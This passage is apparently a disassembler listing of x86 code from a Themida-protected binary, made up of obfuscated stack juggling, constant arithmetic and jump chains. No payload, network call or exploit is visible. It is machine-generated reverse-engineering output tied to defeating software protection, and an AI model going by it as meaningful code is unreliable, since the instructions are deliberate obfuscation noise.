loc_599B5D:				; CODE XREF: sub_5A23FB-7FCFj
		pop	ebp
		jmp	loc_59D25A
; END OF FUNCTION CHUNK	FOR sub_5A23FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595949


loc_599B63:				; CODE XREF: sub_595949+445Aj
		mov	dh, ch
		mov	[edi+eax*4], dh
		pop	edx
		push	[esp+4+var_4]
		jmp	loc_5A08AD
; END OF FUNCTION CHUNK	FOR sub_595949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5971C0


loc_599B71:				; CODE XREF: sub_5971C0-147Fj
		pop	ebx
		jmp	loc_59D19B
; END OF FUNCTION CHUNK	FOR sub_5971C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599B77:				; CODE XREF: sub_59390B+98AEj
		mov	[esp+4+var_4], esi
		mov	si, 7428h
		jmp	loc_59B187
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599B83:				; CODE XREF: Themida_:005A351Fj
		mov	edx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		add	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A15F1
; ---------------------------------------------------------------------------


loc_599BAF:				; CODE XREF: Themida_:00591C88j
		mov	eax, 6DC24538h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 68F43A08h
		sub	edi, 67A27881h
		jmp	loc_599954
; ---------------------------------------------------------------------------


loc_599BCD:				; CODE XREF: Themida_:0059E549j
		sub	edx, edi
		pop	edi
		add	ebp, edx
		mov	edx, [esp]
		jmp	loc_5999BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_599BDA:				; CODE XREF: sub_59CFD4-A1BDj
		push	36EBh
		mov	[esp+8+var_8], ecx
		mov	ecx, 2000000h
		push	ebx
		jmp	loc_595BD0
; ---------------------------------------------------------------------------


loc_599BED:				; CODE XREF: sub_59CFD4+65D2j
		pop	ebp
		push	esi
		mov	esi, esp
		jmp	loc_5A0A4A
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_599BF6:				; CODE XREF: sub_59A431-318j
		mov	ecx, 4
		push	ecx
		mov	ecx, 29DF605Ah
		jmp	loc_594543
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_599C06:				; CODE XREF: Themida_:005943C0j
		push	ecx
		jmp	loc_593308
; ---------------------------------------------------------------------------


loc_599C0C:				; CODE XREF: Themida_:0059FAFAj
		not	ecx
		add	ecx, 0D0E14411h
		add	eax, ecx
		pop	ecx
		jmp	loc_59FE56
; ---------------------------------------------------------------------------


loc_599C1C:				; CODE XREF: Themida_:005962D9j
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 49006570h
		sub	esi, 3F19779Dh
		jmp	loc_59A11E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599C33:				; CODE XREF: sub_59390B+120D9j
		mov	[esp+4+var_4], esi
		jmp	loc_594809
; ---------------------------------------------------------------------------


loc_599C3B:				; CODE XREF: sub_59390B+F5F9j
		mov	esi, 5ACB21E0h
		dec	esi
		add	esi, 0DC8F13Fh
		sub	edx, esi
		pop	esi
		add	edx, esi
		add	edx, 6894131Eh
		pop	esi
		sub	esp, 4
		mov	[esp+0], eax
		push	esp
		jmp	loc_5A4F94
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_599C62:				; CODE XREF: sub_59A75E-59A6j
		or	edx, 7C877FCBh
		add	edx, 56464956h
		shr	edx, 1
		xor	edx, 0B4F21B1Eh
		jmp	loc_59EB92
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599C7B:				; CODE XREF: sub_59390B+BFFCj
		push	4A8Bh
		mov	[esp+8+var_8], ecx
		push	[esp+8+var_4]
		pop	ecx
		jmp	loc_597919
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_599C8D:				; CODE XREF: sub_59FCCB-1DE6j
		push	edx
		mov	dh, 0F9h
		push	eax
		jmp	loc_5A336E
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------


loc_599C96:				; CODE XREF: Themida_:0059A651j
		pop	eax
		jmp	loc_5A4AB3
; ---------------------------------------------------------------------------


loc_599C9C:				; CODE XREF: Themida_:005A4DDDj
		mov	[esp], esp
		jmp	loc_59A490
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F401


loc_599CA4:				; CODE XREF: sub_59F401+A9Fj
		pop	esi
		jmp	sub_59D1FC
; END OF FUNCTION CHUNK	FOR sub_59F401
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59605F


loc_599CAA:				; CODE XREF: sub_59605F+9F0Aj
		pop	esp
		xor	[edx+30h], esi
		push	[esp-4+arg_0]
		pop	esi
		add	esp, 4
		add	dword ptr [edx+30h], 0FFFFFFFFh
		inc	dword ptr [edx+30h]
		sub	dword ptr [edx+30h], 29D40348h
		popa
		popf
		retn
; END OF FUNCTION CHUNK	FOR sub_59605F
; ---------------------------------------------------------------------------
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338E


loc_599CD1:				; CODE XREF: sub_59338E+2538j
		add	edx, 4
		xchg	edx, [esp+0]
		jmp	loc_5A21D3
; END OF FUNCTION CHUNK	FOR sub_59338E
; ---------------------------------------------------------------------------
		xor	[esp], di
		xor	di, [esp]
		xor	[esp], di
		xor	di, cx
		xor	cx, di
		xor	di, cx
		sub	esp, 2
		mov	[esp], cx
		push	si
		pop	cx
		mov	si, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		push	ebx
		jmp	loc_59376E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599D15:				; CODE XREF: sub_59390B-1420j
		neg	ebp
		dec	ebp
		xor	ebp, 0FD53D528h
		add	ecx, ebp
		mov	ebp, [esp-0Ch+arg_4]
		add	esp, 4
		sub	ecx, 4
		xchg	ecx, [esp-10h+arg_8]
		mov	esp, [esp-10h+arg_8]
		jmp	loc_5996EC
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599D3A:				; CODE XREF: Themida_:0059CD8Cj
		add	edx, eax
		pop	eax
		jmp	loc_59D41B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599D42:				; CODE XREF: sub_59390B+1A4j
		push	cx
		mov	cl, 0EAh
		add	bl, cl
		mov	cx, word ptr [esp-0Ah+arg_0+2]
		add	esp, 2
		pop	cx
		jmp	loc_59A94D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599D56:				; CODE XREF: Themida_:00593582j
		pop	edx
		jmp	loc_59B46A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	6A18h
		jmp	loc_5A4DD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599D6A:				; CODE XREF: sub_59390B+BF6Cj
		mov	[esp-10h+arg_8], ebx
		push	[esp-10h+arg_8]
		pop	eax
		push	ebx
		mov	ebx, esp
		push	ebp
		jmp	loc_590DFA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595949


loc_599D7A:				; CODE XREF: sub_595949+A680j
		mov	[esp+0], ebx
		push	ecx
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	bh, dl
		mov	ch, bh
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		mov	bl, ch
		pop	ecx
		push	1270h
		mov	[esp+4+var_4], ecx
		mov	ch, bl
		push	2D05h
		mov	[esp+8+var_8], edx
		jmp	loc_599B63
; END OF FUNCTION CHUNK	FOR sub_595949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599DA8:				; CODE XREF: sub_59390B+C57Cj
		mov	esi, [esp-8+arg_0]
		add	esp, 4
		push	ecx
		push	[esp-8+arg_4]
		pop	ecx
		pop	[esp-8+arg_0]
		pop	esp
		dec	byte ptr [esp-10h+arg_8]
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599DC1:				; CODE XREF: Themida_:005A33EFj
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59BF09
; ---------------------------------------------------------------------------


loc_599DDA:				; CODE XREF: Themida_:0059CFEAj
		push	eax
		jmp	loc_5916EA
; ---------------------------------------------------------------------------


loc_599DE0:				; CODE XREF: Themida_:005A3369j
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59C3A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599E0A:				; CODE XREF: sub_59390B+5E8Aj
		pop	esp
		jmp	loc_59F538
; ---------------------------------------------------------------------------


loc_599E10:				; CODE XREF: sub_59390B+9CAj
		mov	[esp+14h+var_14], edi
		mov	edi, 2E13316Eh
		jmp	loc_594503
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599E1D:				; CODE XREF: Themida_:005A4B5Fj
		not	esi
		jmp	loc_596A90
; ---------------------------------------------------------------------------


loc_599E24:				; CODE XREF: Themida_:005958AFj
		push	esp
		jmp	loc_59E2FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599E2A:				; CODE XREF: sub_59390B+D35Fj
		add	esi, edi
		jmp	loc_59F9CD
; ---------------------------------------------------------------------------


loc_599E31:				; CODE XREF: sub_59390B+1AE1j
		sub	al, 12h
		push	ebx
		mov	bh, 43h
		add	al, bh
		pop	ebx
		add	al, 0Ah
		sub	al, dl
		sub	al, 0Ah
		push	edx
		mov	dl, 0ACh
		jmp	loc_59E1C2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599E47:				; CODE XREF: Themida_:005A2743j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_59A219
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_599E62:				; CODE XREF: sub_594D13+16Fj
		push	edi
		push	[esp+arg_0]
		pop	edi
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		mov	cx, word ptr [esp-4+arg_0]
		push	0E00h
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		push	0F63h
		jmp	loc_5A0925
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2552


loc_599E8C:				; CODE XREF: sub_5A2552-51B4j
		push	2E8Ch
		jmp	loc_59380C
; END OF FUNCTION CHUNK	FOR sub_5A2552
; ---------------------------------------------------------------------------


loc_599E96:				; CODE XREF: Themida_:00595D1Ej
		xor	[esp], edi
		jmp	loc_592BB5
; ---------------------------------------------------------------------------


loc_599E9E:				; CODE XREF: Themida_:00599363j
		push	ebp
		mov	ebp, 30B5A1Bh
		jmp	loc_59D9AA
; ---------------------------------------------------------------------------


loc_599EA9:				; CODE XREF: Themida_:005A515Ej
		neg	dl
		not	dl
		add	dl, 0DAh
		add	al, dl
		pop	edx
		mov	ch, al
		jmp	loc_593672
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_599EBA:				; CODE XREF: sub_59654E+8C2j
		add	[esp+4+var_4], 4
		jmp	loc_59DC04
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------


loc_599EC6:				; CODE XREF: Themida_:005A477Cj
		xor	ecx, 0FFFF0D7Dh
		jmp	loc_5943E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599ED1:				; CODE XREF: sub_59390B-28Ej
		pop	ecx
		add	bl, al
		sub	esp, 2
		jmp	loc_595B08
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599EDC:				; CODE XREF: Themida_:005A42B4j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_59DB7D
; ---------------------------------------------------------------------------


loc_599EEC:				; CODE XREF: Themida_:00598BE0j
		sub	esp, 4
		mov	[esp], ebp
		push	6B4Ah
		mov	[esp], esp
		jmp	loc_591D98
; ---------------------------------------------------------------------------


loc_599F02:				; CODE XREF: Themida_:0059FF2Cj
		sub	eax, 77D86333h
		add	eax, ebx
		add	eax, 77D86333h
		push	5345h
		mov	[esp], esi
		mov	esi, 2AE14CADh
		jmp	loc_59DE73
; ---------------------------------------------------------------------------


loc_599F20:				; CODE XREF: Themida_:0059AB6Cj
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_59920E
; ---------------------------------------------------------------------------


loc_599F29:				; CODE XREF: Themida_:005A3653j
		pop	esp
		or	esi, edi
		pop	edi
		add	esi, 9606824Bh
		jmp	loc_5961F0

; =============== S U B	R O U T	I N E =======================================



sub_599F38	proc near		; CODE XREF: sub_5A1A6C+4j

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 00591313 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005953F1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059693A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005988E7 SIZE 0000004A BYTES
; FUNCTION CHUNK AT 0059CEDE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059CF97 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059F40C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A57CB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5B33 SIZE 00000010 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		jmp	loc_59693A
sub_599F38	endp


; =============== S U B	R O U T	I N E =======================================



sub_599F46	proc near		; CODE XREF: sub_59390B+545Dj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059D591 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A121E SIZE 00000010 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59D591
sub_599F46	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599F5C:				; CODE XREF: sub_59390B+DFF7j
		pop	ecx
		push	edi
		jmp	loc_5A4287
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599F63:				; CODE XREF: Themida_:0059EEFCj
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A4A35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599F70:				; CODE XREF: sub_59390B+C24j
		xor	eax, ecx
		push	88Dh
		mov	[esp+0Ch+var_C], eax
		xchg	edx, [esp+0Ch+var_C]
		xor	edx, esi
		xor	esi, edx
		xor	edx, esi
		push	esi
		push	ebx
		jmp	loc_5A10B7
; ---------------------------------------------------------------------------


loc_599F8A:				; CODE XREF: sub_59390B-1211j
		add	ecx, eax
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp-18h+arg_10]
		pop	esp
		jmp	loc_597A88
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599F9C:				; CODE XREF: Themida_:00594FEDj
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_59CF86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599FB4:				; CODE XREF: sub_59390B+2D6Fj
		mov	bl, 0C6h
		mov	dl, bl
		jmp	loc_5953EB
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599FBD:				; CODE XREF: Themida_:005938BAj
		add	ebx, 0E1C7598Dh
		and	eax, ebx
		pop	ebx
		push	eax
		not	dword ptr [esp]
		pop	eax
		neg	eax
		push	ecx
		mov	ecx, 72151C9Bh
		jmp	loc_594C31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599FD8:				; CODE XREF: sub_59390B-26D1j
		mov	esp, [esp+4+var_4]
		add	ebx, 35775748h
		push	esi
		mov	esi, 7E762E00h
		shl	esi, 2
		shr	esi, 2
		sub	esi, 7BF67205h
		inc	esi
		add	esi, 748A4B6Ch
		sub	ebx, esi
		pop	esi
		add	ebx, 63BE7B53h
		sub	ebx, eax
		sub	ebx, 63BE7B53h
		add	ebx, 370A0768h
		sub	ebx, 35775748h
		push	368Bh
		jmp	loc_5A50F1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59A021:				; CODE XREF: Themida_:0059CE1Cj
		sub	edi, esi
		jmp	loc_598667
; ---------------------------------------------------------------------------


loc_59A028:				; CODE XREF: Themida_:005A3DCFj
		sub	esp, 4
		mov	[esp], eax
		mov	al, cl
		mov	dh, al
		pop	eax
		mov	ah, dh
		pop	edx
		pop	ecx
		jmp	loc_59628A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_59A03F:				; CODE XREF: sub_5A51EA-3A5Cj
		add	cl, 1
		jmp	loc_5A4692
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------


loc_59A047:				; CODE XREF: Themida_:0059FAE3j
		pop	esi
		jmp	loc_59A746
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591745


loc_59A04D:				; CODE XREF: sub_591745+16j
		pop	ecx
		add	eax, edx
		pop	edx
		sub	eax, 4
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ebp
		mov	ebp, 682959D1h
		or	ebp, 396801E5h
		shl	ebp, 3
		jmp	loc_5A1A82
; END OF FUNCTION CHUNK	FOR sub_591745

; =============== S U B	R O U T	I N E =======================================



sub_59A072	proc near		; CODE XREF: sub_59390B+F3A3j

var_4		= dword	ptr -4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005995B5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A1E47 SIZE 00000005 BYTES

		sub	esp, 4
		mov	[esp+0], edi
		not	dword ptr [esp+0]
		pop	edi
		push	edi
		push	[esp-8+arg_8]
		pop	edi
		pop	dword ptr [esp+0]
		push	[esp-0Ch+arg_8]
		pop	esi
		add	esp, 4
		push	edi
		mov	edi, 42A65C68h
		push	ebp
		mov	ebp, 486636B3h
		add	esi, ebp
		jmp	loc_5995B5
sub_59A072	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59A0A5:				; CODE XREF: Themida_:005A5152j
		push	ebp
		push	4098h
		mov	[esp], eax
		mov	eax, 7B126E37h
		or	eax, 325475EDh
		jmp	loc_5959AA
; ---------------------------------------------------------------------------


loc_59A0BD:				; CODE XREF: Themida_:005A1585j
		or	dh, 0DFh
		xor	dh, 60h
		xor	al, dh
		push	dword ptr [esp]
		pop	edx
		push	491Bh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_595983
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A0DE:				; CODE XREF: sub_59390B+A519j
		dec	edx
		add	edx, 41F97F89h
		push	edi
		jmp	loc_594DFC
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_59A0EB:				; CODE XREF: sub_59A431+46B3j
		xor	ebx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 6BBA4DC3h
		neg	ebx
		xor	ebx, 0AB05DB10h
		sub	esi, ebx
		pop	ebx
		add	esi, ebx
		add	esi, 3F40692Dh
		pop	ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_5A5A79
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_59A110:				; CODE XREF: Themida_:00597A18j
		push	ebp
		jmp	loc_597C58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_59A116:				; CODE XREF: sub_59A431+B658j
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_599BF6
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_59A11E:				; CODE XREF: Themida_:00599C2Ej
		push	ecx
		mov	ecx, 4E720295h
		xor	ecx, 0F777441h
		jmp	loc_5A1735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DD1C


loc_59A12F:				; CODE XREF: sub_59DD1C+4D39j
		mov	ebx, 269F79E4h
		sub	ebx, 128E2EE2h
		add	ebx, 3373F118h
		mov	ecx, ebx
		pop	ebx
		add	esi, ecx
		jmp	loc_5975F4
; END OF FUNCTION CHUNK	FOR sub_59DD1C
; ---------------------------------------------------------------------------


loc_59A14A:				; CODE XREF: Themida_:005A2119j
		add	dl, 4Eh
		sub	dl, 0Ah
		add	al, dl
		pop	edx
		push	small 4A20h
		mov	[esp], cx
		jmp	loc_59A31F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A113A


loc_59A160:				; CODE XREF: sub_5A113A-F770j
		pop	esi
		jmp	loc_5A3540
; END OF FUNCTION CHUNK	FOR sub_5A113A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A166:				; CODE XREF: sub_59390B+55BEj
		sub	edx, 28C834CEh
		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_5944EC
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3EFB


loc_59A17A:				; CODE XREF: sub_5A3EFB-105F5j
		xor	ebp, 28037887h
		mov	edx, ebp
		jmp	loc_59988E
; END OF FUNCTION CHUNK	FOR sub_5A3EFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594DA8


loc_59A187:				; CODE XREF: sub_594DA8+3j
		mov	[esp+4+var_4], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_59E237
; END OF FUNCTION CHUNK	FOR sub_594DA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A19D:				; CODE XREF: sub_59390B+F71Fj
		pop	edx
		jmp	loc_59D813
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_59A1A3	proc near		; DATA XREF: Themida_:005909A0o
		mov	ax, [esp+0]
		jmp	sub_5A2FE9
sub_59A1A3	endp

; ---------------------------------------------------------------------------


loc_59A1AC:				; CODE XREF: Themida_:005991E3j
		push	edx
		mov	edx, esp
		jmp	loc_592F72
; ---------------------------------------------------------------------------


loc_59A1B4:				; CODE XREF: Themida_:00597226j
		not	ecx
		not	ecx
		neg	ecx
		add	ecx, 5396747Eh
		jmp	loc_5A3EB2
; ---------------------------------------------------------------------------


loc_59A1C5:				; CODE XREF: Themida_:00591C64j
		xor	eax, edi
		push	dword ptr [esp]
		jmp	loc_598040
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_59A1CF:				; CODE XREF: sub_59FD45-97FCj
		pop	esp
		jmp	loc_5A4490
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_59A1D5:				; CODE XREF: sub_59E918-3422j
		pop	cx
		jmp	loc_59D6BF
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D1FC


loc_59A1DC:				; CODE XREF: sub_59D1FC-2E44j
		sub	edi, 4
		push	edi
		push	[esp+arg_0]
		pop	edi
		pop	dword ptr [esp+0]
		pop	esp
		mov	[esp+0], eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_5A4024
; END OF FUNCTION CHUNK	FOR sub_59D1FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_59A203:				; CODE XREF: sub_599AE1+A13Dj
		add	esp, 4
		push	eax
		push	eax
		push	edx
		mov	edx, esp
		jmp	loc_59EC7C
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A213:				; CODE XREF: sub_59390B+199j
		pop	edi
		jmp	loc_597906
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59A219:				; CODE XREF: Themida_:00599E5Dj
		xor	edx, [esp]
		jmp	loc_59D46F
; ---------------------------------------------------------------------------


loc_59A221:				; CODE XREF: Themida_:0059F006j
		pop	edi
		pop	eax
		sub	ebp, 3E96217Ah
		sub	ebp, 54D019C4h
		sub	ebp, esi
		add	ebp, 54D019C4h
		push	edx
		mov	edx, 3E96217Ah
		add	ebp, edx
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		add	edi, 2B214FE0h
		add	edi, ebp
		sub	edi, 2B214FE0h
		pop	ebp
		jmp	loc_593957

; =============== S U B	R O U T	I N E =======================================



sub_59A25D	proc near		; CODE XREF: sub_592586+41F3j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00593551 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00596B4A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005983BE SIZE 00000005 BYTES

		push	ebp
		sub	esp, 4
		mov	[esp+8+var_8], esp
		push	ebp
		mov	ebp, 4
		sub	[esp+0Ch+var_8], 4DFB4086h
		add	[esp+0Ch+var_8], ebp
		add	[esp+0Ch+var_8], 4DFB4086h
		pop	ebp
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 4
		jmp	loc_596B4A
sub_59A25D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A294:				; CODE XREF: sub_59390B+EF66j
		push	esp
		pop	edx
		jmp	loc_597B1B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59A29B:				; CODE XREF: Themida_:00590C84j
		add	eax, ebp
		pop	ebp
		add	eax, 719F0A68h
		add	eax, ebx
		sub	eax, 719F0A68h
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		mov	edi, 65DB1A1Ch
		push	ebp
		mov	ebp, 9FEA7AFFh
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 18B117FBh
		sub	ebx, edi
		add	ebx, 18B117FBh
		pop	edi
		jmp	loc_591C79
; ---------------------------------------------------------------------------


loc_59A2DB:				; CODE XREF: Themida_:0059A948j
		pop	ecx
		add	ecx, 3BFA298Ah
		xor	ecx, 5C617006h
		jmp	loc_597428
; ---------------------------------------------------------------------------


loc_59A2ED:				; CODE XREF: Themida_:00594BA5j
		xor	eax, 6525C314h
		xor	edi, eax
		jmp	loc_59C9B3
; ---------------------------------------------------------------------------


loc_59A2F9:				; CODE XREF: Themida_:005A4204j
		pop	edx
		not	ebx
		push	eax
		jmp	loc_5A17F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59A302:				; CODE XREF: sub_59390B+6F36j
		pop	[esp-0Ch+arg_4]
		push	edx
		mov	edx, 4
		add	[esp-0Ch+arg_8], edx
		push	[esp-0Ch+arg_4]
		pop	edx
		add	esp, 4
		push	[esp-10h+arg_8]
		pop	ebx
		jmp	sub_598DC3
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59A31F:				; CODE XREF: Themida_:0059A15Bj
		mov	ch, 16h
		push	ebx
		mov	bl, 91h
		add	bl, 73h
		xor	bl, 0A7h
		sub	bl, 0A4h
		sub	ch, bl
		jmp	loc_5993C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2FC


loc_59A334:				; CODE XREF: sub_59F2FC-464Ej
		mov	[esp+8+var_8], ebx
		mov	ebx, 3A4611E1h
		xor	ebx, 424D1B25h
		xor	ebx, 696D2EFDh
		and	ebx, 7D2A4947h
		shl	ebx, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		sub	esp, 4
		jmp	loc_592844
; END OF FUNCTION CHUNK	FOR sub_59F2FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


